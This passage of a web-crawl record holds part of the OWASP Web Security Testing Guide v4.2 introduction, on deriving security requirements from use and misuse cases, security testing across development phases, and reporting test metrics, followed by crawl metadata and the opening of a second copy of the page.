sending the temporary password to the user via email. The temporary password issued should be a one-time password. A link to the password reset web page will be sent to the user. The password reset web page should validate the user’s temporary password, the new password, as well as the user’s answer to the challenge question.\n\n#### Risk-Driven Security Requirements\n\nSecurity tests must also be risk-driven. They need to validate the application for unexpected behavior, or negative requirements.\n\nExamples of negative requirements are:\n\n- The application should not allow for the data to be altered or destroyed.\n- The application should not be compromised or misused for unauthorized financial transactions by a malicious user.\n\nNegative requirements are more difficult to test, because there is no expected behavior to look for. Looking for expected behavior to suit the above requirements might require a threat analyst to unrealistically come up with unforeseeable input conditions, causes, and effects. Hence, security testing needs to be driven by risk analysis and threat modeling. The key is to document the threat scenarios, and the functionality of the countermeasure as a factor to mitigate a threat.\n\nFor example, in the case of authentication controls, the following security requirements can be documented from the threats and countermeasures perspective:\n\n- Encrypt authentication data in storage and transit to mitigate risk of information disclosure and authentication protocol attacks.\n- Encrypt passwords using non-reversible encryption such as using a digest (e.g., HASH) and a seed to prevent dictionary attacks.\n- Lock out accounts after reaching a log on failure threshold and enforce password complexity to mitigate risk of brute force password attacks.\n- Display generic error messages upon validation of credentials to mitigate risk of account harvesting or enumeration.\n- Mutually authenticate client and server to prevent non-repudiation and Manipulator In the Middle (MiTM) attacks.\n\nThreat modeling tools such as threat trees and attack libraries can be useful to derive the negative test scenarios. A threat tree will assume a root attack (e.g., attacker might be able to read other users’ messages) and identify different exploits of security controls (e.g., data validation fails because of a SQL injection vulnerability) and necessary countermeasures (e.g., implement data validation and parametrized queries) that could be validated to be effective in mitigating such attacks.\n\n### Deriving Security Test Requirements Through Use and Misuse Cases\n\nA prerequisite to describing the application functionality is to understand what the application is supposed to do and how. This can be done by describing use cases. Use cases, in the graphical form as is commonly used in software engineering, show the interactions of actors and their relations. They help to identify the actors in the application, their relationships, the intended sequence of actions for each scenario, alternative actions, special requirements, preconditions, and post-conditions.\n\nSimilar to use cases, misuse or abuse cases describe unintended and malicious use scenarios of the application. These misuse cases provide a way to describe scenarios of how an attacker could misuse and abuse the application. By going through the individual steps in a use scenario and thinking about how it can be maliciously exploited, potential flaws or aspects of the application that are not well defined can be discovered. The key is to describe all possible or, at least, the most critical use and misuse scenarios.\n\nMisuse scenarios allow the analysis of the application from the attacker’s point of view and contribute to identifying potential vulnerabilities and the countermeasures that need to be implemented to mitigate the impact caused by the potential exposure to such vulnerabilities. Given all of the use and abuse cases, it is important to analyze them to determine which are the most critical and need to be documented in security requirements. The identification of the most critical misuse and abuse cases drives the documentation of security requirements and the necessary controls where security risks should be mitigated.\n\nTo derive security requirements from [both use and misuse cases](https://iacis.org/iis/2006/Damodaran.pdf), it is important to define the functional scenarios and the negative scenarios and put these in graphical form. The following example is a step-by-step methodology for the case of deriving security requirements for authentication.\n\n#### Step 1: Describe the Functional Scenario\n\nUser authenticates by supplying a username and password. The application grants access to users based upon authentication of user credentials by the application and provides specific errors to the user when validation fails.\n\n#### Step 2: Describe the Negative Scenario\n\nAttacker breaks the authentication through a brute force or dictionary attack of passwords and account harvesting vulnerabilities in the application. The validation errors provide specific information to an attacker that is used to guess which accounts are valid registered accounts (usernames). The attacker then attempts to brute force the password for a valid account. A brute force attack on passwords with a minimum length of four digits can succeed with a limited number of attempts (i.e., 10\\^4).\n\n#### Step 3: Describe Functional and Negative Scenarios with Use and Misuse Case\n\nThe graphical example below depicts the derivation of security requirements via use and misuse cases. The functional scenario consists of the user actions (entering a username and password) and the application actions (authenticating the user and providing an error message if validation fails). The misuse case consists of the attacker actions, i.e. trying to break authentication by brute forcing the password via a dictionary attack and by guessing the valid usernames from error messages. By graphically representing the threats to the user actions (misuses), it is possible to derive the countermeasures as the application actions that mitigate such threats.\n\n*Figure 2-5: Use and Misuse Case*\n\n#### Step 4: Elicit the Security Requirements\n\nIn this case, the following security requirements for authentication are derived:\n\n1. Passwords requirements must be aligned with the current standards for sufficient complexity.\n2. Accounts must be to locked out after five unsuccessful log in attempts.\n3. Log in error messages must be generic.\n\nThese security requirements need to be documented and tested.\n\n## Security Tests Integrated in Development and Testing Workflows\n\n### Security Testing in the Development Workflow\n\nSecurity testing during the development phase of the SDLC represents the first opportunity for developers to ensure that the individual software components they have developed are security tested before they are integrated with other components or built into the application. Software components might consist of software artifacts such as functions, methods, and classes, as well as application programming interfaces, libraries, and executable files. For security testing, developers can rely on the results of the source code analysis to verify statically that the developed source code does not include potential vulnerabilities and is compliant with the secure coding standards. Security unit tests can further verify dynamically (i.e., at run time) that the components function as expected. Before integrating both new and existing code changes in the application build, the results of the static and dynamic analysis should be reviewed and validated.\n\nThe validation of source code before integration in application builds is usually the responsibility of the senior developer. Senior developers are often the subject matter experts in software security and their role is to lead the secure code review. They must make decisions on whether to accept the code to be released in the application build, or to require further changes and testing. This secure code review workflow can be enforced via formal acceptance, as well as a check in a workflow management tool. For example, assuming the typical defect management workflow used for functional bugs, security bugs that have been fixed by a developer can be reported on a defect or change management system. The build master then can look at the test results reported by the developers in the tool, and grant approvals for checking in the code changes into the application build.\n\n### Security Testing in the Test Workflow\n\nAfter components and code changes are tested by developers and checked in to the application build, the most likely next step in the software development process workflow is to perform tests on the application as a whole entity. This level of testing is usually referred to as integrated test and system level test. When security tests are part of these testing activities, they can be used to validate both the security functionality of the application as a whole, as well as the exposure to application level vulnerabilities. These security tests on the application include both white-box testing, such as source code analysis, and black-box testing, such as penetration testing. Tests can also include gray-box testing, in which it is assumed that the tester has some partial knowledge about the application. For example, with some knowledge about the session management of the application, the tester can better understand whether the log out and timeout functions are properly secured.\n\nThe target for the security tests is the complete system that is vulnerable to attack. During this phase, it is possible for security testers to determine whether vulnerabilities can be exploited. These include common web application vulnerabilities, as well as security issues that have been identified earlier in the SDLC with other activities such as threat modeling, source code analysis, and secure code reviews.\n\nUsually, testing engineers, rather then software developers, perform security tests when the application is in scope for integration system tests. Testing engineers have security knowledge of web application vulnerabilities, black-box and white-box testing techniques, and own the validation of security requirements in this phase. In order to perform security tests, it is a prerequisite that security test cases are documented in the security testing guidelines and procedures.\n\nA testing engineer who validates the security of the application in the integrated system environment might release the application for testing in the operational environment (e.g., user acceptance tests). At this stage of the SDLC (i.e., validation), the application’s functional testing is usually a responsibility of QA testers, while white-hat hackers or security consultants are usually responsible for security testing. Some organizations rely on their own specialized ethical hacking team to conduct such tests when a third party assessment is not required (such as for auditing purposes).\n\nSince these tests can sometimes be the last line of defense for fixing vulnerabilities before the application is released to production, it is important that issues are addressed as recommended by the testing team. The recommendations can include code, design, or configuration change. At this level, security auditors and information security officers discuss the reported security issues and analyze the potential risks according to information risk management procedures. Such procedures might require the development team to fix all high risk vulnerabilities before the application can be deployed, unless such risks are acknowledged and accepted.\n\n### Developer’s Security Tests\n\n#### Security Testing in the Coding Phase: Unit Tests\n\nFrom the developer’s perspective, the main objective of security tests is to validate that code is being developed in compliance with secure coding standards requirements. Developers’ own coding artifacts (such as functions, methods, classes, APIs, and libraries) need to be functionally validated before being integrated into the application build.\n\nThe security requirements that developers have to follow should be documented in secure coding standards and validated with static and dynamic analysis. If the unit test activity follows a secure code review, unit tests can validate that code changes required by secure code reviews are properly implemented. Both secure code reviews and source code analysis through source code analysis tools can help developers in identifying security issues in source code as it is developed. By using unit tests and dynamic analysis (e.g., debugging) developers can validate the security functionality of components as well as verify that the countermeasures being developed mitigate any security risks previously identified through threat modeling and source code analysis.\n\nA good practice for developers is to build security test cases as a generic security test suite that is part of the existing unit testing framework. A generic security test suite could be derived from previously defined use and misuse cases to security test functions, methods and classes. A generic security test suite might include security test cases to validate both positive and negative requirements for security controls such as:\n\n- Identity, authentication & access control\n- Input validation & encoding\n- Encryption\n- User and session management\n- Error and exception handling\n- Auditing and logging\n\nDevelopers empowered with a source code analysis tool integrated into their IDE, secure coding standards, and a security unit testing framework can assess and verify the security of the software components being developed. Security test cases can be run to identify potential security issues that have root causes in source code: besides input and output validation of parameters entering and exiting the components, these issues include authentication and authorization checks done by the component, protection of the data within the component, secure exception and error handling, and secure auditing and logging. Unit test frameworks such as JUnit, NUnit, and CUnit can be adapted to verify security test requirements. In the case of security functional tests, unit level tests can test the functionality of security controls at the software component level, such as functions, methods, or classes. For example, a test case could validate input and output validation (e.g., variable sanitation) and boundary checks for variables by asserting the expected functionality of the component.\n\nThe threat scenarios identified with use and misuse cases can be used to document the procedures for testing software components. In the case of authentication components, for example, security unit tests can assert the functionality of setting an account lockout as well as the fact that user input parameters cannot be abused to bypass the account lockout (e.g., by setting the account lockout counter to a negative number).\n\nAt the component level, security unit tests can validate positive assertions as well as negative assertions, such as errors and exception handling. Exceptions should be caught without leaving the system in an insecure state, such as potential denial of service caused by resources not being de-allocated (e.g., connection handles not closed within a final statement block), as well as potential elevation of privileges (e.g., higher privileges acquired before the exception is thrown and not re-set to the previous level before exiting the function). Secure error handling can validate potential information disclosure via informative error messages and stack traces.\n\nUnit level security test cases can be developed by a security engineer who is the subject matter expert in software security and is also responsible for validating that the security issues in the source code have been fixed and can be checked in to the integrated system build. Typically, the manager of the application builds also makes sure that third-party libraries and executable files are security assessed for potential vulnerabilities before being integrated in the application build.\n\nThreat scenarios for common vulnerabilities that have root causes in insecure coding can also be documented in the developer’s security testing guide. When a fix is implemented for a coding defect identified with source code analysis, for example, security test cases can verify that the implementation of the code change follows the secure coding requirements documented in the secure coding standards.\n\nSource code analysis and unit tests can validate that the code change mitigates the vulnerability exposed by the previously identified coding defect. The results of automated secure code analysis can also be used as automatic check-in gates for version control, for example, software artifacts cannot be checked into the build with high or medium severity coding issues.\n\n### Functional Testers’ Security Tests\n\n#### Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests\n\nThe main objective of integrated system tests is to validate the “defense in depth” concept, that is, that the implementation of security controls provides security at different layers. For example, the lack of input validation when calling a component integrated with the application is often a factor that can be tested with integration testing.\n\nThe integration system test environment is also the first environment where testers can simulate real attack scenarios as can be potentially executed by a malicious external or internal user of the application. Security testing at this level can validate whether vulnerabilities are real and can be exploited by attackers. For example, a potential vulnerability found in source code can be rated as high risk because of the exposure to potential malicious users, as well as because of the potential impact (e.g., access to confidential information).\n\nReal attack scenarios can be tested with both manual testing techniques and penetration testing tools. Security tests of this type are also referred to as ethical hacking tests. From the security testing perspective, these are risk-driven tests and have the objective of testing the application in the operational environment. The target is the application build that is representative of the version of the application being deployed into production.\n\nIncluding security testing in the integration and validation phase is critical to identifying vulnerabilities due to integration of components, as well as validating the exposure of such vulnerabilities. Application security testing requires a specialized set of skills, including both software and security knowledge, that are not typical of security engineers. As a result, organizations are often required to security-train their software developers on ethical hacking techniques, and security assessment procedures and tools. A realistic scenario is to develop such resources in-house and document them in security testing guides and procedures that take into account the developer’s security testing knowledge. A so called “security test cases cheat sheet or checklist”, for example, can provide simple test cases and attack vectors that can be used by testers to validate exposure to common vulnerabilities such as spoofing, information disclosures, buffer overflows, format strings, SQL injection and XSS injection, XML, SOAP, canonicalization issues, denial of service, and managed code and ActiveX controls (e.g., .NET). A first battery of these tests can be performed manually with a very basic knowledge of software security.\n\nThe first objective of security tests might be the validation of a set of minimum security requirements. These security test cases might consist of manually forcing the application into error and exceptional states and gathering knowledge from the application behavior. For example, SQL injection vulnerabilities can be tested manually by injecting attack vectors through user input, and by checking if SQL exceptions are thrown back to the user. The evidence of a SQL exception error might be a manifestation of a vulnerability that can be exploited.\n\nA more in-depth security test might require the tester’s knowledge of specialized testing techniques and tools. Besides source code analysis and penetration testing, these techniques include, for example: source code and binary fault injection, fault propagation analysis and code coverage, fuzz testing, and reverse engineering. The security testing guide should provide procedures and recommend tools that can be used by security testers to perform such in-depth security assessments.\n\nThe next level of security testing after integration system tests is to perform security tests in the user acceptance environment. There are unique advantages to performing security tests in the operational environment. The user acceptance test (UAT) environment is the one that is most representative of the release configuration, with the exception of the data (e.g., test data is used in place of real data). A characteristic of security testing in UAT is testing for security configuration issues. In some cases these vulnerabilities might represent high risks. For example, the server that hosts the web application might not be configured with minimum privileges, valid SSL certificate and secure configuration, essential services disabled, and web root directory cleaned of test and administration web pages.\n\n## Security Test Data Analysis and Reporting\n\n### Goals for Security Test Metrics and Measurements\n\nDefining the goals for the security testing metrics and measurements is a prerequisite for using security testing data for risk analysis and management processes. For example, a measurement, such as the total number of vulnerabilities found with security tests, might quantify the security posture of the application. These measurements also help to identify security objectives for software security testing, for example, reducing the number of vulnerabilities to an acceptable minimum number before the application is deployed into production.\n\nAnother manageable goal could be to compare the application security posture against a baseline to assess improvements in application security processes. For example, the security metrics baseline might consist of an application that was tested only with penetration tests. The security data obtained from an application that was also security tested during coding should show an improvement (e.g., fewer vulnerabilities) when compared with the baseline.\n\nIn traditional software testing, the number of software defects, such as the bugs found in an application, could provide a measure of software quality. Similarly, security testing can provide a measure of software security. From the defect management and reporting perspective, software quality and security testing can use similar categorizations for root causes and defect remediation efforts. From the root cause perspective, a security defect can be due to an error in design (e.g., security flaws) or due to an error in coding (e.g., security bug). From the perspective of the effort required to fix a defect, both security and quality defects can be measured in terms of developer hours to implement the fix, the tools and resources required, and the cost to implement the fix.\n\nA characteristic of security test data, compared to quality data, is the categorization in terms of the threat, the exposure of the vulnerability, and the potential impact posed by the vulnerability to determine the risk. Testing applications for security consists of managing technical risks to make sure that the application countermeasures meet acceptable levels. For this reason, security testing data needs to support the security risk strategy at critical checkpoints during the SDLC. For example, vulnerabilities found in source code with source code analysis represent an initial measure of risk. A measure of risk (e.g., high, medium, low) for the vulnerability can be calculated by determining the exposure and likelihood factors, and by validating the vulnerability with penetration tests. The risk metrics associated to vulnerabilities found with security tests empower business management to make risk management decisions, such as to decide whether risks can be accepted, mitigated, or transferred at different levels within the organization (e.g., business as well as technical risks).\n\nWhen evaluating the security posture of an application, it is important to take into consideration certain factors, such as the size of the application being developed. Application size has been statistically proven to be related to the number of issues found in the application during testing. Since testing reduces issues, it is logical for larger size applications to be tested more often than smaller size applications.\n\nWhen security testing is done in several phases of the SDLC, the test data can prove the capability of the security tests in detecting vulnerabilities as soon as they are introduced. The test data can also prove the effectiveness of removing the vulnerabilities by implementing countermeasures at different checkpoints of the SDLC. A measurement of this type is also defined as “containment metrics” and provides a measure of the ability of a security assessment performed at each phase of the development process to maintain security within each phase. These containment metrics are also a critical factor in lowering the cost of fixing the vulnerabilities. It is less expensive to deal with vulnerabilities in the same phase of the SDLC that they are found, rather then fixing them later in another phase.\n\nSecurity test metrics can support security risk, cost, and defect management analysis when they are associated with tangible and timed goals such as:\n\n- Reducing the overall number of vulnerabilities by 30%.\n- Fixing security issues by a certain deadline (e.g., before beta release).\n\nSecurity test data can be absolute, such as the number of vulnerabilities detected during manual code review, as well as comparative, such as the number of vulnerabilities detected in code reviews compared to penetration tests. To answer questions about the quality of the security process, it is important to determine a baseline for what could be considered acceptable and good.\n\nSecurity test data can also support specific objectives of the security analysis. These objectives could be compliance with security regulations and information security standards, management of security processes, the identification of security root causes and process improvements, and security cost benefit analysis.\n\nWhen security test data is reported, it has to provide metrics to support the analysis. The scope of the analysis is the interpretation of test data to find clues about the security of the software being produced, as well as the effectiveness of the process.\n\nSome examples of clues supported by security test data can be:\n\n- Are vulnerabilities reduced to an acceptable level for release?\n- How does the security quality of this product compare with similar software products?\n- Are all security test requirements being met?\n- What are the major root causes of security issues?\n- How numerous are security flaws compared to security bugs?\n- Which security activity is most effective in finding vulnerabilities?\n- Which team is more productive in fixing security defects and vulnerabilities?\n- What percentage of overall vulnerabilities are high risk?\n- Which tools are most effective in detecting security vulnerabilities?\n- What kind of security tests are most effective in finding vulnerabilities (e.g., white-box vs. black-box) tests?\n- How many security issues are found during secure code reviews?\n- How many security issues are found during secure design reviews?\n\nIn order to make a sound judgment using the testing data, it is important to have a good understanding of the testing process as well as the testing tools. A tool taxonomy should be adopted to decide which security tools to use. Security tools can be qualified as being good at finding common, known vulnerabilities, when targeting different artifacts.\n\nIt is important to note that unknown security issues are not tested. The fact that a security test is clear of issues does not mean that the software or application is good.\n\nEven the most sophisticated automation tools are not a match for an experienced security tester. Just relying on successful test results from automated tools will give security practitioners a false sense of security. Typically, the more experienced the security testers are with the security testing methodology and testing tools, the better the results of the security test and analysis will be. It is important that managers making an investment in security testing tools also consider an investment in hiring skilled human resources, as well as security test training.\n\n### Reporting Requirements\n\nThe security posture of an application can be characterized from the perspective of the effect, such as number of vulnerabilities and the risk rating of the vulnerabilities, as well as from the perspective of the cause or origin, such as coding errors, architectural flaws, and configuration issues.\n\nVulnerabilities can be classified according to different criteria. The most commonly used vulnerability severity metric is the [Common Vulnerability Scoring System](https://www.first.org/cvss/) (CVSS), a standard maintained by the Forum of Incident Response and Security Teams (FIRST).\n\nWhen reporting security test data, the best practice is to include the following information:\n\n- a categorization of each vulnerability by type;\n- the security threat that each issue is exposed to;\n- the root cause of each security issue, such as the bug or flaw;\n- each testing technique used to find the issues;\n- the remediation, or countermeasure, for each vulnerability; and\n- the severity rating of each vulnerability (e.g., high, medium, low, or CVSS score).\n\nBy describing what the security threat is, it will be possible to understand if and why the mitigation control is ineffective in mitigating the threat.\n\nReporting the root cause of the issue can help pinpoint what needs to be fixed. In the case of white-box testing, for example, the software security root cause of the vulnerability will be the offending source code.\n\nOnce issues are reported, it is also important to provide guidance to the software developer on how to re-test and find the vulnerability. This might involve using a white-box testing technique (e.g., security code review with a static code analyzer) to find if the code is vulnerable. If a vulnerability can be found via a black-box penetration test, the test report also needs to provide information on how to validate the exposure of the vulnerability to the front end (e.g., client).\n\nThe information about how to fix the vulnerability should be detailed enough for a developer to implement a fix. It should provide secure coding examples, configuration changes, and provide adequate references.\n\nFinally, the severity rating contributes to the calculation of risk rating and helps to prioritize the remediation effort. Typically, assigning a risk rating to the vulnerability involves external risk analysis based upon factors such as impact and exposure.\n\n### Business Cases\n\nFor the security test metrics to be useful, they need to provide value back to the organization’s security test data stakeholders. The stakeholders can include project managers, developers, information security offices, auditors, and chief information officers. The value can be in terms of the business case that each project stakeholder has, in terms of role and responsibility.\n\nSoftware developers look at security test data to show that software is coded securely and efficiently. This allows them to make the case for using source code analysis tools, following secure coding standards, and attending software security training.\n\nProject managers look for data that allows them to successfully manage and utilize security testing activities and resources according to the project plan. To project managers, security test data can show that projects are on schedule and moving on target for delivery dates, and are getting better during tests.\n\nSecurity test data also helps the business case for security testing if the initiative comes from information security officers (ISOs). For example, it can provide evidence that security testing during the SDLC does not impact the project delivery, but rather reduces the overall workload needed to address vulnerabilities later in production.\n\nTo compliance auditors, security test metrics provide a level of software security assurance and confidence that security standard compliance is addressed through the security review processes within the organization.\n\nFinally, Chief Information Officers (CIOs), and Chief Information Security Officers (CISOs), who are responsible for the budget that needs to be allocated in security resources, look for derivation of a cost-benefit analysis from security test data. This allows them to make informed decisions about which security activities and tools to invest in. One of the metrics that supports such analysis is the Return On Investment (ROI) in security. To derive such metrics from security test data, it is important to quantify the differential between the risk, due to the exposure of vulnerabilities, and the effectiveness of the security tests in mitigating the security risk, then factor this gap with the cost of the security testing activity or the testing tools adopted.\n\n## References\n\n- US National Institute of Standards (NIST) 2002 [survey on the cost of insecure software to the US economy due to inadequate software testing](https://www.nist.gov/director/planning/upload/report02-3.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 87523, "slov": 13194, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:33", "sha256": "f3f98dc5d39d914ae2be055ee54fe0af5b58493777a7e093524a0431dbab80a4", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://isbnsearch.org/isbn/9780131717114", "https://en.wikiquote.org/wiki/Tom_DeMarco", "https://www.it-cisq.org/the-cost-of-poor-quality-software-in-the-us-a-2018-report/The-Cost-of-Poor-Quality-Software-in-the-US-2018-Report.pdf", "https://www.fnf.com/", "https://www.schneier.com/crypto-gram/archives/2000/0915.html", "https://www.symantec.com/security-center/threat-report", "https://www.opensamm.org/", "https://www.iso27001security.com/html/27034.html", "https://www.ftc.gov/tips-advice/business-center/privacy-and-security/gramm-leach-bliley-act", "https://leginfo.legislature.ca.gov/faces/billTextClient.xhtml?bill_id=200120020SB1386", "https://ec.europa.eu/info/policies/justice-and-fundamental-rights_en", "https://gdpr-info.eu/", "https://ieeexplore.ieee.org/document/237006", "https://csrc.nist.gov/publications/detail/sp/800-30/rev-1/final", "https://ia600903.us.archive.org/11/items/pdfy-Qf4sZZSmHKQlHFfw/p761-thompson.pdf", "https://wiki.owasp.org/index.php/Category:OWASP_Code_Review_Project", "https://www.garymcgraw.com/wp-content/uploads/2015/11/bsi6-pentest.pdf", "https://www.ffiec.gov/cyberassessmenttool.htm", "https://www.pcisecuritystandards.org/pci_security/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://en.wikipedia.org/wiki/STRIDE_(security)", "https://iacis.org/iis/2006/Damodaran.pdf", "https://www.first.org/cvss/", "https://www.nist.gov/director/planning/upload/report02-3.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/2-Introduction/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/2-Introduction/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/2-Introduction/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "2-Introduction"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Introduction"}, {"uroven": 2, "text": "The OWASP Testing Project"}, {"uroven": 3, "text": "Measuring Security: the Economics of Insecure Software"}, {"uroven": 3, "text": "What is Testing?"}, {"uroven": 3, "text": "Why Perform Testing?"}, {"uroven": 3, "text": "When to Test?"}, {"uroven": 3, "text": "What to Test?"}, {"uroven": 3, "text": "How To Reference WSTG Scenarios"}, {"uroven": 4, "text": "Linking"}, {"uroven": 3, "text": "Feedback and Comments"}, {"uroven": 2, "text": "Principles of Testing"}, {"uroven": 3, "text": "There is No Silver Bullet"}, {"uroven": 3, "text": "Think Strategically, Not Tactically"}, {"uroven": 3, "text": "The SDLC is King"}, {"uroven": 3, "text": "Test Early and Test Often"}, {"uroven": 3, "text": "Test Automation"}, {"uroven": 3, "text": "Understand the Scope of Security"}, {"uroven": 3, "text": "Develop the Right Mindset"}, {"uroven": 3, "text": "Understand the Subject"}, {"uroven": 3, "text": "Use the Right Tools"}, {"uroven": 3, "text": "The Devil is in the Details"}, {"uroven": 3, "text": "Use Source Code When Available"}, {"uroven": 3, "text": "Develop Metrics"}, {"uroven": 3, "text": "Document the Test Results"}, {"uroven": 2, "text": "Testing Techniques Explained"}, {"uroven": 2, "text": "Manual Inspections and Reviews"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Threat Modeling"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Source Code Review"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "Penetration Testing"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Advantages"}, {"uroven": 3, "text": "Disadvantages"}, {"uroven": 2, "text": "The Need for a Balanced Approach"}, {"uroven": 3, "text": "A Note about Web Application Scanners"}, {"uroven": 3, "text": "Example 1: Magic Parameters"}, {"uroven": 3, "text": "Example 2: Bad Cryptography"}, {"uroven": 3, "text": "A Note about Static Source Code Review Tools"}, {"uroven": 2, "text": "Deriving Security Test Requirements"}, {"uroven": 3, "text": "Testing Objectives"}, {"uroven": 3, "text": "Security Requirements Documentation"}, {"uroven": 3, "text": "Security Requirements Validation"}, {"uroven": 3, "text": "Threats and Countermeasures Taxonomies"}, {"uroven": 3, "text": "Security Testing and Risk Analysis"}, {"uroven": 3, "text": "Deriving Functional and Non-Functional Test Requirements"}, {"uroven": 4, "text": "Functional Security Requirements"}, {"uroven": 4, "text": "Risk-Driven Security Requirements"}, {"uroven": 3, "text": "Deriving Security Test Requirements Through Use and Misuse Cases"}, {"uroven": 4, "text": "Step 1: Describe the Functional Scenario"}, {"uroven": 4, "text": "Step 2: Describe the Negative Scenario"}, {"uroven": 4, "text": "Step 3: Describe Functional and Negative Scenarios with Use and Misuse Case"}, {"uroven": 4, "text": "Step 4: Elicit the Security Requirements"}, {"uroven": 2, "text": "Security Tests Integrated in Development and Testing Workflows"}, {"uroven": 3, "text": "Security Testing in the Development Workflow"}, {"uroven": 3, "text": "Security Testing in the Test Workflow"}, {"uroven": 3, "text": "Developer’s Security Tests"}, {"uroven": 4, "text": "Security Testing in the Coding Phase: Unit Tests"}, {"uroven": 3, "text": "Functional Testers’ Security Tests"}, {"uroven": 4, "text": "Security Testing During the Integration and Validation Phase: Integrated System Tests and Operation Tests"}, {"uroven": 2, "text": "Security Test Data Analysis and Reporting"}, {"uroven": 3, "text": "Goals for Security Test Metrics and Measurements"}, {"uroven": 3, "text": "Reporting Requirements"}, {"uroven": 3, "text": "Business Cases"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Introduction\n\n## The OWASP Testing Project\n\nThe OWASP Testing Project has been in development for many years. The aim of the project is to help people understand the *what*, *why*, *when*, *where*, and *how* of testing web applications. The project has delivered a complete testing framework, not merely a simple checklist or prescription of issues that should be addressed. Readers can use this framework as a template to build their own testing programs or to qualify other people’s processes. The Testing Guide describes in detail both the general testing framework and the techniques required to implement the framework in practice.\n\nWriting the Testing Guide has proven to be a difficult task. It was a challenge to obtain consensus and develop content that allowed people to apply the concepts described in the guide, while also enabling them to work in their own environment and culture. It was also a challenge to change the focus of web application testing from penetration testing to testing integrated in the software development life cycle.\n\nHowever, the group is very satisfied with the results of the project. Many industry experts and security professionals, some of whom are responsible for software security at some of the largest companies in the world, are validating the testing framework. This framework helps organizations test their web applications in order to build reliable and secure software. The framework does not simply highlight areas of weakness, although that is certainly a by-product of many of the OWASP guides and checklists. As such, hard decisions had to be made about the appropriateness of certain testing techniques and technologies. The group fully understands that not everyone will agree with all of these decisions. However, OWASP is able to take the high ground and change culture over time through awareness and education, based on consensus and experience.\n\nThe rest of this guide is organized as follows: this introduction covers the pre-requisites of testing web applications and the scope of testing. It also covers the principles of successful testing and testing techniques, best practices for reporting, and business cases for security testing. Chapter 3 presents the OWASP Testing Framework and explains its techniques and tasks in relation to the various phases of the software development life cycle. Chapter 4 covers how to test for specific vulnerabilities (e.g., SQL Injection) by code inspection and penetration testing.\n\n### Measuring Security: the Economics of Insecure Software\n\nA basic tenet of software engineering is summed up in a quote from [Controlling Software Projects: Management, Measurement, and Estimates](https://isbnsearch.org/isbn/9780131717114) by [Tom DeMarco](https://en.wikiquote.org/wiki/Tom_DeMarco):\n\n> You can’t control what you can’t measure.\n\nSecurity testing is no different. Unfortunately, measuring security is a notoriously difficult process.\n\nOne aspect that should be emphasized is that security measurements are about both the specific technical issues (e.g., how prevalent a certain vulnerability is) and how these issues affect the economics of software. Most technical people will at least understand the basic issues, or they may have a deeper understanding of the vulnerabilities. Sadly, few are able to translate that technical knowledge into monetary terms and quantify the potential cost of vulnerabilities to the application owner’s business. Until this happens, CIOs will not be able to develop an accurate return on security investment and, subsequently, assign appropriate budgets for software security.\n\nWhile estimating the cost of insecure software may appear a daunting task, there has been a significant amount of work in this direction. In 2018 the Consortium for IT Software Quality [summarized](https://www.it-cisq.org/the-cost-of-poor-quality-software-in-the-us-a-2018-report/The-Cost-of-Poor-Quality-Software-in-the-US-2018-Report.pdf):\n\n> …the cost of poor quality software in the US in 2018 is approximately $2.84 trillion…\n\nThe framework described in this document encourages people to measure security throughout the entire development process. They can then relate the cost of insecure software to the impact it has on the business, and consequently develop appropriate business processes, and assign resources to manage the risk. Remember that measuring and testing web applications is even more critical than for other software, since web applications are exposed to millions of users through the Internet.\n\n### What is Testing?\n\nMany things need to be tested during the development life cycle of a web application, but what does testing actually mean? The Oxford Dictionary of English defines “test” as:\n\n> **test** (noun): a procedure intended to establish the quality, performance, or reliability of something, especially before it is taken into widespread use.\n\nFor the purposes of this document, testing is a process of comparing the state of a system or application against a set of criteria. In the security industry, people frequently test against a set of mental criteria that are neither well defined nor complete. As a result of this, many outsiders regard security testing as a black art. The aim of this document is to change that perception, and to make it easier for people without in-depth security knowledge to make a difference in testing.\n\n### Why Perform Testing?\n\nThis document is designed to help organizations understand what comprises a testing program, and to help them identify the steps that need to be undertaken to build and operate a modern web application testing program. The guide gives a broad view of the elements required to make a comprehensive web application security program. This guide can be used as a reference and as a methodology to help determine the gap between existing practices and industry best practices. This guide allows organizations to compare themselves against industry peers, to understand the magnitude of resources required to test and maintain software, or to prepare for an audit. This chapter does not go into the technical details of how to test an application, as the intent is to provide a typical security organizational framework. The technical details about how to test an application, as part of a penetration test or code review, will be covered in the 